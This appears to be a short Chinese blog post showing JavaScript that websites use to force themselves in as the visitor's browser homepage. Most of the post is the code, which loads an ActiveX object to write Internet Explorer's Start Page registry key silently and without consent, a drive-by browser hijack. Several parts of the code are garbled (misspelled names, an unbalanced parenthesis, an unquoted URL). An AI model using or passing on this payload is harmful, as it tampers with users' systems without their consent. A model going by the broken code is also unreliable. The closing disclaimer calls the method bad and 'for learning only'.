把网页设置为浏览器首页,是一个比较正常的功能.我们也经常使用.但是我们是不是也有遇到这种情况呢:打开一个网站,一定要强制被设置为主页.是如何实现的呢?

如下Javascript代码

<script>
var ucook=document.cookie;
var user=ucook.indexOF("ilooki=");
if(user==-1)
{  
var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT";
document.write("<APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment></APPLET>");function yuzi(){try{a1
=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",http://www.****.com);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);
}
</script>

提示:这种做方法做是比较不好的.除非你垃圾站.一般站我不建议使用该功能.本文只是为了学习技术.